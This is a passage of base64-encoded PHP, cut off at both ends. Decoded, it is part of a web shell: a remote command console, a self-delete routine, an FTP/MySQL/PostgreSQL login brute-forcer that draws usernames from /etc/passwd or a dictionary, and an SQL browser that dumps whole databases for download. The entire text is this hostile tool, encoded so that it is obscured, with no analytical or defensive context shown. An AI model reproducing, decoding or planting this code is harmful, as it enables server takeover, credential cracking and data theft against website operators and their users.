NsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1jZiBvbnN1Ym1pdD0i aWYoZG9jdW1lbnQuY2YuY21kLnZhbHVlPT1cJ2NsZWFyXCcpe2 RvY3VtZW50LmNmLm91dHB1dC52YWx1ZT1cJ1wnO2RvY3VtZW50 LmNmLmNtZC52YWx1ZT1cJ1wnO3JldHVybiBmYWxzZTt9YWRkKH RoaXMuY21kLnZhbHVlKTtpZih0aGlzLmFqYXguY2hlY2tlZCl7 YShudWxsLG51bGwsdGhpcy5jbWQudmFsdWUpO31lbHNle2cobn VsbCxudWxsLHRoaXMuY21kLnZhbHVlKTt9IHJldHVybiBmYWxz ZTsiPjxzZWxlY3QgbmFtZT1hbGlhcz4nOyANCiAgICBmb3JlYW NoKCRHTE9CQUxTWydhbGlhc2VzJ10gYXMgJG4gPT4gJHYpIHsg DQogICAgICAgIGlmKCR2ID09ICcnKSB7IA0KICAgICAgICAgIC AgZWNobyAnPG9wdGdyb3VwIGxhYmVsPSItJy5odG1sc3BlY2lh bGNoYXJzKCRuKS4nLSI+PC9vcHRncm91cD4nOyANCiAgICAgIC AgICAgIGNvbnRpbnVlOyANCiAgICAgICAgfSANCiAgICAgICAg ZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYX JzKCR2KS4nIj4nLiRuLic8L29wdGlvbj4nOyANCiAgICB9IA0K ICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KC RfUE9TVFsncDEnXSkpIA0KICAgICAgICAkX1NFU1NJT05bbWQ1 KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbH NlOyANCiAgICBlY2hvICc8L3NlbGVjdD48aW5wdXQgdHlwZT1i dXR0b24gb25jbGljaz0iYWRkKGRvY3VtZW50LmNmLmFsaWFzLn ZhbHVlKTtpZihkb2N1bWVudC5jZi5hamF4LmNoZWNrZWQpe2Eo bnVsbCxudWxsLGRvY3VtZW50LmNmLmFsaWFzLnZhbHVlKTt9ZW xzZXtnKG51bGwsbnVsbCxkb2N1bWVudC5jZi5hbGlhcy52YWx1 ZSk7fSIgdmFsdWU9Ij4+Ij4gPGlucHV0IHR5cGU9Y2hlY2tib3 ggbmFtZT1hamF4IHZhbHVlPTEgJy4oJF9TRVNTSU9OW21kNSgk X1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4nPiBzZW5kIHVzaW5nIEFKQVgNCjx0ZX h0YXJlYSBjbGFzcz1iaWdhcmVhIG5hbWU9b3V0cHV0IHN0eWxl PSJib3JkZXItYm90dG9tOjA7bWFyZ2luOjA7IiByZWFkb25seT 4nOyANCiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgeyAN CiAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCIkICIuJF 9QT1NUWydwMSddLiJcbiIuZXgoJF9QT1NUWydwMSddKSk7IA0K ICAgIH0gDQogICAgZWNobyAnPC90ZXh0YXJlYT48aW5wdXQgdH lwZT10ZXh0IG5hbWU9Y21kIHN0eWxlPSJib3JkZXItdG9wOjA7 d2lkdGg6MTAwJTttYXJnaW46MDsiIG9ua2V5ZG93bj0ia3AoZX ZlbnQpOyI+JzsgDQogICAgZWNobyAnPC9mb3JtPjwvZGl2Pjxz Y3JpcHQ+ZG9jdW1lbnQuY2YuY21kLmZvY3VzKCk7PC9zY3JpcH Q+JzsgDQogICAgcHJpbnRGb290ZXIoKTsgDQp9IA0KIA0KZnVu Y3Rpb24gYWN0aW9uTG9nb3V0KCkgeyANCiAgICB1bnNldCgkX1 NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKTsg DQogICAgZWNobyAnYnllISc7IA0KfSANCiANCmZ1bmN0aW9uIG FjdGlvblNlbGZSZW1vdmUoKSB7IA0KICAgIHByaW50SGVhZGVy KCk7IA0KICAgIGlmKCRfUE9TVFsncDEnXSA9PSAneWVzJykgey ANCiAgICAgICAgaWYoQHVubGluayhTRUxGX1BBVEgpKSANCiAg ICAgICAgICAgIGRpZSgnU2hlbGwgaGFzIGJlZW4gcmVtb3ZlZC cpOyANCiAgICAgICAgZWxzZQ0KICAgICAgICAgICAgZWNobyAn dW5saW5rIGVycm9yISc7IA0KICAgIH0gDQogICAgZWNobyAnPG gxPlN1aWNpZGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD5SZWFs bHkgd2FudCB0byByZW1vdmUgdGhlIHNoZWxsPw0KPGEgaHJlZj 0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwneWVzXCcpIj5ZZXM8 L2E+PC9kaXY+JzsgDQogICAgcHJpbnRGb290ZXIoKTsgDQp9IA 0KIA0KZnVuY3Rpb24gYWN0aW9uQnJ1dGVmb3JjZSgpIHsgDQog ICAgcHJpbnRIZWFkZXIoKTsgDQogICAgaWYoIGlzc2V0KCRfUE 9TVFsncHJvdG8nXSkgKSB7IA0KICAgICAgICBlY2hvICc8aDE+ UmVzdWx0czwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzcGFuPl R5cGU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NU Wydwcm90byddKS4nIDxzcGFuPlNlcnZlcjo8L3NwYW4+ICcuaH RtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NlcnZlciddKS4nDQon OyANCiAgICAgICAgaWYoICRfUE9TVFsncHJvdG8nXSA9PSAnZn RwJyApIHsgDQogICAgICAgICAgICBmdW5jdGlvbiBicnV0ZUZv cmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsgDQogICAgIC AgICAgICAgICAgJGZwID0gQGZ0cF9jb25uZWN0KCRpcCwgJHBv cnQ/JHBvcnQ6MjEpOyANCiAgICAgICAgICAgICAgICBpZighJGZwKS ByZXR1cm4gZmFsc2U7IA0KICAgICAgICAgICAgICAgICRyZXMg PSBAZnRwX2xvZ2luKCRmcCwgJGxvZ2luLCAkcGFzcyk7IA0KIC AgICAgICAgICAgICAgIEBmdHBfY2xvc2UoJGZwKTsgDQogICAg ICAgICAgICAgICAgcmV0dXJuICRyZXM7IA0KICAgICAgICAgIC AgfSANCiAgICAgICAgfSBlbHNlaWYoICRfUE9TVFsncHJvdG8n XSA9PSAnbXlzcWwnICkgeyANCiAgICAgICAgICAgIGZ1bmN0aW 9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykg eyANCiAgICAgICAgICAgICAgICAkcmVzID0gQG15c3FsX2Nvbm 5lY3QoJGlwLic6Jy4kcG9ydD8kcG9ydDozMzA2LCAkbG9naW4s ICRwYXNzKTsgDQogICAgICAgICAgICAgICAgQG15c3FsX2Nsb3 NlKCRyZXMpOyANCiAgICAgICAgICAgICAgICByZXR1cm4gJHJl czsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IGVsc2VpZi ggJF9QT1NUWydwcm90byddID09ICdwZ3NxbCcgKSB7IA0KICAg ICAgICAgICAgZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcn QsJGxvZ2luLCRwYXNzKSB7IA0KICAgICAgICAgICAgICAgICRz dHIgPSAiaG9zdD0nIi4kaXAuIicgcG9ydD0nIi4kcG9ydC4iJy B1c2VyPSciLiRsb2dpbi4iJyBwYXNzd29yZD0nIi4kcGFzcy4i JyBkYm5hbWU9JyciOyANCiAgICAgICAgICAgICAgICAkcmVzID 0gQHBnX2Nvbm5lY3QoJHNlcnZlclswXS4nOicuJHNlcnZlclsx XT8kc2VydmVyWzFdOjU0MzIsICRsb2dpbiwgJHBhc3MpOyANCi AgICAgICAgICAgICAgICBAcGdfY2xvc2UoJHJlcyk7IA0KICAg ICAgICAgICAgICAgIHJldHVybiAkcmVzOyANCiAgICAgICAgIC AgIH0gDQogICAgICAgIH0gDQogICAgICAgICRzdWNjZXNzID0g MDsgDQogICAgICAgICRhdHRlbXB0cyA9IDA7IA0KICAgICAgIC Akc2VydmVyID0gZXhwbG9kZSgiOiIsICRfUE9TVFsnc2VydmVy J10pOyANCiAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ10gPT0gMS kgeyANCiAgICAgICAgICAgICR0ZW1wID0gQGZpbGUoJy9ldGMv cGFzc3dkJyk7IA0KICAgICAgICAgICAgaWYoIGlzX2FycmF5KC R0ZW1wKSApIA0KICAgICAgICAgICAgICAgIGZvcmVhY2goJHRl bXAgYXMgJGxpbmUpIHsgDQogICAgICAgICAgICAgICAgICAgIC RsaW5lID0gZXhwbG9kZSgiOiIsICRsaW5lKTsgDQogICAgICAg ICAgICAgICAgICAgICsrJGF0dGVtcHRzOyANCiAgICAgICAgIC AgICAgICAgICAgaWYoIGJydXRlRm9yY2UoQCRzZXJ2ZXJbMF0s QCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkbGluZVswXSkgKSB7IA 0KICAgICAgICAgICAgICAgICAgICAgICAgJHN1Y2Nlc3MrKzsg DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8Yj4nLm h0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pLic8L2I+OicuaHRt bHNwZWNpYWxjaGFycygkbGluZVswXSkuJw0KJzsgDQogICAgIC AgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAg IGlmKEAkX1BPU1RbJ3JldmVyc2UnXSkgeyANCiAgICAgICAgIC AgICAgICAgICAgICAgICR0bXAgPSAiIjsgDQogICAgICAgICAg ICAgICAgICAgICAgICBmb3IoJGk9c3RybGVuKCRsaW5lWzBdKS 0xOyAkaT49MDsgLS0kaSkgDQogICAgICAgICAgICAgICAgICAg ICAgICAgICAgJHRtcCAuPSAkbGluZVswXVskaV07IA0KICAgIC AgICAgICAgICAgICAgICAgICAgKyskYXR0ZW1wdHM7IA0KICAg ICAgICAgICAgICAgICAgICAgICAgaWYoIGJydXRlRm9yY2UoQC RzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkdG1w KSApIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJH N1Y2Nlc3MrKzsgDQogICAgICAgICAgICAgICAgICAgICAgICAg ICAgZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWz BdKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJHRtcCk7IA0K ICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgIC AgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB9IA0KICAg ICAgICB9IGVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAyKSB7IA 0KICAgICAgICAgICAgJHRlbXAgPSBAZmlsZSgkX1BPU1RbJ2Rp Y3QnXSk7IA0KICAgICAgICAgICAgaWYoIGlzX2FycmF5KCR0ZW 1wKSApIA0KICAgICAgICAgICAgICAgIGZvcmVhY2goJHRlbXAg YXMgJGxpbmUpIHsgDQogICAgICAgICAgICAgICAgICAgICRsaW 5lID0gdHJpbSgkbGluZSk7IA0KICAgICAgICAgICAgICAgICAg ICArKyRhdHRlbXB0czsgDQogICAgICAgICAgICAgICAgICAgIG lmKCBicnV0ZUZvcmNlKCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0s ICRfUE9TVFsnbG9naW4nXSwgJGxpbmUpICkgeyANCiAgICAgIC AgICAgICAgICAgICAgICAgICRzdWNjZXNzKys7IA0KICAgICAg ICAgICAgICAgICAgICAgICAgZWNobyAnPGI+Jy5odG1sc3BlY2 lhbGNoYXJzKCRfUE9TVFsnbG9naW4nXSkuJzwvYj46Jy5odG1s c3BlY2lhbGNoYXJzKCRsaW5lKS4nDQonOyANCiAgICAgICAgIC AgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB9IA0KICAg ICAgICB9IA0KICAgICAgICBlY2hvICI8c3Bhbj5BdHRlbXB0cz o8L3NwYW4+ICRhdHRlbXB0cyA8c3Bhbj5TdWNjZXNzOjwvc3Bh bj4gJHN1Y2Nlc3M8L2Rpdj4NCiI7IA0KICAgIH0gDQogICAgZW NobyAnPGgxPkZUUCBicnV0ZWZvcmNlPC9oMT48ZGl2IGNsYXNz PWNvbnRlbnQ+PHRhYmxlPjxmb3JtIG1ldGhvZD1wb3N0Pjx0cj 48dGQ+PHNwYW4+VHlwZTwvc3Bhbj48L3RkPicNCiAgICAgICAg Lic8dGQ+PHNlbGVjdCBuYW1lPXByb3RvPjxvcHRpb24gdmFsdW U9ZnRwPkZUUDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9bXlzcWw+ TXlTcWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPXBnc3FsPlBvc3 RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L3RkPjwvdHI+PHRy Pjx0ZD4nDQogICAgICAgIC4nPGlucHV0IHR5cGU9aGlkZGVuIG 5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9C QUxTWydjd2QnXSkuJyI+Jw0KICAgICAgICAuJzxpbnB1dCB0eX BlPWhpZGRlbiBuYW1lPWEgdmFsdWU9IicuaHRtbHNwZWNpYWxj aGFycygkX1BPU1RbJ2EnXSkuJyI+Jw0KICAgICAgICAuJzxpbn B1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9Iicu aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2NoYXJzZXQnXSkuJy I+Jw0KICAgICAgICAuJzxzcGFuPlNlcnZlcjpwb3J0PC9zcGFu PjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48aW5wdXQgdHlwZT10ZX h0IG5hbWU9c2VydmVyIHZhbHVlPSIxMjcuMC4wLjEiPjwvdGQ+ PC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48c3Bhbj5CcnV0ZS B0eXBlPC9zcGFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48bGFi ZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPS IxIiBjaGVja2VkPiAvZXRjL3Bhc3N3ZDwvbGFiZWw+PC90ZD48 L3RyPicNCiAgICAgICAgLic8dHI+PHRkPjwvdGQ+PHRkPjxsYW JlbCBzdHlsZT0icGFkZGluZy1sZWZ0OjE1cHgiPjxpbnB1dCB0 eXBlPWNoZWNrYm94IG5hbWU9cmV2ZXJzZSB2YWx1ZT0xIGNoZW NrZWQ+IHJldmVyc2UgKGxvZ2luIC0+IG5pZ29sKTwvbGFiZWw+ PC90ZD48L3RyPicNCiAgICAgICAgLic8dHI+PHRkPjwvdGQ+PH RkPjxsYWJlbD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUg dmFsdWU9IjIiPiBEaWN0aW9uYXJ5PC9sYWJlbD48L3RkPjwvdH I+Jw0KICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PHRhYmxl IHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PHRyPjx0ZD48c3 Bhbj5Mb2dpbjwvc3Bhbj48L3RkPicNCiAgICAgICAgLic8dGQ+ PGlucHV0IHR5cGU9dGV4dCBuYW1lPWxvZ2luIHZhbHVlPSJrb2 1zZW4iPjwvdGQ+PC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48 c3Bhbj5EaWN0aW9uYXJ5PC9zcGFuPjwvdGQ+Jw0KICAgICAgIC AuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGljdCB2YWx1 ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXS kuJ3Bhc3N3ZC5kaWMiPjwvdGQ+PC90cj48L3RhYmxlPicNCiAg ICAgICAgLic8L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48aW 5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L3RkPjwvdHI+ PC9mb3JtPjwvdGFibGU+JzsgDQogICAgZWNobyAnPC9kaXY+DQ onOyANCiAgICBwcmludEZvb3RlcigpOyANCn0gDQogDQpmdW5j dGlvbiBhY3Rpb25TcWwoKSB7IA0KICAgIGNsYXNzIERiQ2xhc3 MgeyANCiAgICAgICAgdmFyICR0eXBlOyANCiAgICAgICAgdmFy ICRsaW5rOyANCiAgICAgICAgdmFyICRyZXM7IA0KICAgICAgIC BmdW5jdGlvbiBEYkNsYXNzKCR0eXBlKSAgICB7IA0KICAgICAg ICAgICAgJHRoaXMtPnR5cGUgPSAkdHlwZTsgDQogICAgICAgIH 0gDQogICAgICAgIGZ1bmN0aW9uIGNvbm5lY3QoJGhvc3QsICR1 c2VyLCAkcGFzcywgJGRibmFtZSl7IA0KICAgICAgICAgICAgc3 dpdGNoKCR0aGlzLT50eXBlKSAgICB7IA0KICAgICAgICAgICAg ICAgIGNhc2UgJ215c3FsJzogDQogICAgICAgICAgICAgICAgIC AgIGlmKCAkdGhpcy0+bGluayA9IEBteXNxbF9jb25uZWN0KCRo b3N0LCR1c2VyLCRwYXNzLHRydWUpICkgcmV0dXJuIHRydWU7IA 0KICAgICAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAg ICAgICAgICAgY2FzZSAncGdzcWwnOiANCiAgICAgICAgICAgIC AgICAgICAgJGhvc3QgPSBleHBsb2RlKCc6JywgJGhvc3QpOyAN CiAgICAgICAgICAgICAgICAgICAgaWYoISRob3N0WzFdKSAkaG 9zdFsxXT01NDMyOyANCiAgICAgICAgICAgICAgICAgICAgaWYo ICR0aGlzLT5saW5rID0gQHBnX2Nvbm5lY3QoImhvc3Q9eyRob3 N0WzBdfSBwb3J0PXskaG9zdFsxXX0gdXNlcj0kdXNlciBwYXNz d29yZD0kcGFzcyBkYm5hbWU9JGRibmFtZSIpICkgcmV0dXJuIH RydWU7IA0KICAgICAgICAgICAgICAgICAgICBicmVhazsgDQog ICAgICAgICAgICB9IA0KICAgICAgICAgICAgcmV0dXJuIGZhbH NlOyANCiAgICAgICAgfSANCiAgICAgICAgZnVuY3Rpb24gc2Vs ZWN0ZGIoJGRiKSB7IA0KICAgICAgICAgICAgc3dpdGNoKCR0aG lzLT50eXBlKSAgICB7IA0KICAgICAgICAgICAgICAgIGNhc2Ug J215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIGlmIChAbX lzcWxfc2VsZWN0X2RiKCRkYikpcmV0dXJuIHRydWU7IA0KICAg ICAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgIC B9IA0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOyANCiAgICAg ICAgfSANCiAgICAgICAgZnVuY3Rpb24gcXVlcnkoJHN0cikgey ANCiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgeyAN CiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6IA0KICAgIC AgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9IEBt eXNxbF9xdWVyeSgkc3RyKTsgDQogICAgICAgICAgICAgICAgIC AgIGJyZWFrOyANCiAgICAgICAgICAgICAgICBjYXNlICdwZ3Nx bCc6IA0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaX MtPnJlcyA9IEBwZ19xdWVyeSgkdGhpcy0+bGluaywkc3RyKTsg DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgIC AgICAgIH0gDQogICAgICAgICAgICByZXR1cm4gZmFsc2U7IA0K ICAgICAgICB9IA0KICAgICAgICBmdW5jdGlvbiBmZXRjaCgpIH sgDQogICAgICAgICAgICAkcmVzID0gZnVuY19udW1fYXJncygp P2Z1bmNfZ2V0X2FyZygwKTokdGhpcy0+cmVzOyANCiAgICAgIC AgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgeyANCiAgICAg ICAgICAgICAgICBjYXNlICdteXNxbCc6IA0KICAgICAgICAgIC AgICAgICAgICByZXR1cm4gQG15c3FsX2ZldGNoX2Fzc29jKCRy ZXMpOyANCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7IA0KIC AgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzogDQogICAgICAg ICAgICAgICAgICAgIHJldHVybiBAcGdfZmV0Y2hfYXNzb2MoJH Jlcyk7IA0KICAgICAgICAgICAgICAgICAgICBicmVhazsgDQog ICAgICAgICAgICB9IA0KICAgICAgICAgICAgcmV0dXJuIGZhbH NlOyANCiAgICAgICAgfSANCiAgICAgICAgZnVuY3Rpb24gbGlz dERicygpIHsgDQogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPn R5cGUpICAgIHsgDQogICAgICAgICAgICAgICAgY2FzZSAnbXlz cWwnOiANCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aG lzLT5yZXMgPSBAbXlzcWxfbGlzdF9kYnMoJHRoaXMtPmxpbmsp OyANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgIC AgICAgICAgY2FzZSAncGdzcWwnOiANCiAgICAgICAgICAgICAg ICAgICAgcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcn koIlNFTEVDVCBkYXRuYW1lIEZST00gcGdfZGF0YWJhc2UiKTsg DQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgIC AgfSANCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsgDQogICAg ICAgIH0gDQogICAgICAgIGZ1bmN0aW9uIGxpc3RUYWJsZXMoKS B7IA0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAg ICB7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzogDQ ogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVz ID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIFRBQkxFUycpOyANCiAgIC AgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICAgICAg Y2FzZSAncGdzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcm V0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoInNlbGVj dCB0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLn RhYmxlcyB3aGVyZSAodGFibGVfc2NoZW1hICE9ICdpbmZvcm1h dGlvbl9zY2hlbWEnIEFORCB0YWJsZV9zY2hlbWEgIT0gJ3BnX2 NhdGFsb2cnKSBvciB0YWJsZV9uYW1lID0gJ3BnX3VzZXInIik7 IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgIC AgIH0gDQogICAgICAgICAgICByZXR1cm4gZmFsc2U7IA0KICAg ICAgICB9IA0KICAgICAgICBmdW5jdGlvbiBlcnJvcigpIHsgDQ ogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsg DQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOiANCiAgIC AgICAgICAgICAgICAgICAgcmV0dXJuIEBteXNxbF9lcnJvcigk dGhpcy0+bGluayk7IA0KICAgICAgICAgICAgICAgIGJyZWFrOy ANCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6IA0KICAg ICAgICAgICAgICAgICAgICByZXR1cm4gQHBnX2xhc3RfZXJyb3 IoJHRoaXMtPmxpbmspOyANCiAgICAgICAgICAgICAgICBicmVh azsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcmV0dX JuIGZhbHNlOyANCiAgICAgICAgfSANCiAgICAgICAgZnVuY3Rp b24gc2V0Q2hhcnNldCgkc3RyKSB7IA0KICAgICAgICAgICAgc3 dpdGNoKCR0aGlzLT50eXBlKSAgICB7IA0KICAgICAgICAgICAg ICAgIGNhc2UgJ215c3FsJzogDQogICAgICAgICAgICAgICAgIC AgIGlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfc2V0X2NoYXJz ZXQnKSkgDQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm 4gQG15c3FsX3NldF9jaGFyc2V0KCRzdHIsICR0aGlzLT5saW5r KTsgDQogICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgIC AgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnU0VUIENI QVJTRVQgJy4kc3RyKTsgDQogICAgICAgICAgICAgICAgICAgIG JyZWFrOyANCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6 IA0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gQHBnX3NldF 9jbGllbnRfZW5jb2RpbmcoJHRoaXMtPmxpbmssICRzdHIpOyAN CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgIC AgICAgfSANCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsgDQog ICAgICAgIH0gDQogICAgICAgIGZ1bmN0aW9uIGR1bXAoJHRhYm xlKSB7IA0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBl KSAgICB7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJz ogDQogICAgICAgICAgICAgICAgICAgICRyZXMgPSAkdGhpcy0+ cXVlcnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0YWJsZS4nYC cpOyANCiAgICAgICAgICAgICAgICAgICAgJGNyZWF0ZSA9IG15 c3FsX2ZldGNoX2FycmF5KCRyZXMpOyANCiAgICAgICAgICAgIC AgICAgICAgZWNobyAkY3JlYXRlWzFdLiI7XG5cbiI7IA0KICAg ICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnkoJ1NFTEVDVC AqIEZST00gYCcuJHRhYmxlLidgJyk7IA0KICAgICAgICAgICAg ICAgICAgICB3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKS B7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnMg PSBhcnJheSgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIG ZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7IA0KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICInIi5AbX lzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KS4iJyI7IA0KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICRjb2x1bW5zW10gPS AiYCIuJGsuImAiOyANCiAgICAgICAgICAgICAgICAgICAgICAg IH0gDQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0lOU0VSVC BJTlRPIGAnLiR0YWJsZS4nYCAoJy5pbXBsb2RlKCIsICIsICRj b2x1bW5zKS4nKSBWQUxVRVMgKCcuaW1wbG9kZSgiLCAiLCAkaX RlbSkuJyk7Jy4iXG4iOyANCiAgICAgICAgICAgICAgICAgICAg fSANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgIC AgICAgICAgY2FzZSAncGdzcWwnOiANCiAgICAgICAgICAgICAg ICAgICAgJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJH RhYmxlKTsgDQogICAgICAgICAgICAgICAgICAgIHdoaWxlKCRp dGVtID0gJHRoaXMtPmZldGNoKCkpIHsgDQogICAgICAgICAgIC AgICAgICAgICAgICAkY29sdW1ucyA9IGFycmF5KCk7IA0KICAg ICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkaXRlbSBhcy Akaz0+JHYpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAg ICAgJGl0ZW1bJGtdID0gIiciLmFkZHNsYXNoZXMoJHYpLiInIj sgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVt bnNbXSA9ICRrOyANCiAgICAgICAgICAgICAgICAgICAgICAgIH 0gDQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0lOU0VSVCBJ TlRPICcuJHRhYmxlLicgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW 1ucykuJykgVkFMVUVTICgnLmltcGxvZGUoIiwgIiwgJGl0ZW0p LicpOycuIlxuIjsgDQogICAgICAgICAgICAgICAgICAgIH0gDQ ogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAg fSANCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsgDQogICAgIC AgIH0gDQogICAgfTsgDQogICAgJGRiID0gbmV3IERiQ2xhc3Mo JF9QT1NUWyd0eXBlJ10pOyANCiAgICBpZihAJF9QT1NUWydwMi ddPT0nZG93bmxvYWQnKSB7IA0KICAgICAgICBvYl9zdGFydCgi b2JfZ3poYW5kbGVyIiwgNDA5Nik7IA0KICAgICAgICAkZGItPm Nvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3Nx bF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVF snc3FsX2Jhc2UnXSk7IA0KICAgICAgICAkZGItPnNlbGVjdGRi KCRfUE9TVFsnc3FsX2Jhc2UnXSk7IA0KICAgICAgICBoZWFkZX IoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZp bGVuYW1lPWR1bXAuc3FsIik7IA0KICAgICAgICBoZWFkZXIoIk NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbiIpOyANCiAgICAgICAg Zm9yZWFjaCgkX1BPU1RbJ3RibCddIGFzICR2KSANCiAgICAgIC AgICAgICAgICAkZGItPmR1bXAoJHYpOyANCiAgICAgICAgZXhp dDsgDQogICAgfSANCiAgICBwcmludEhlYWRlcigpOyANCiAgIC A/PiANCiAgICA8aDE+U3FsIGJyb3dzZXI8L2gxPjxkaXYgY2xhc3 M9Y29udGVudD4gDQogICAgPGZvcm0gbmFtZT0ic2YiIG1ldGhv 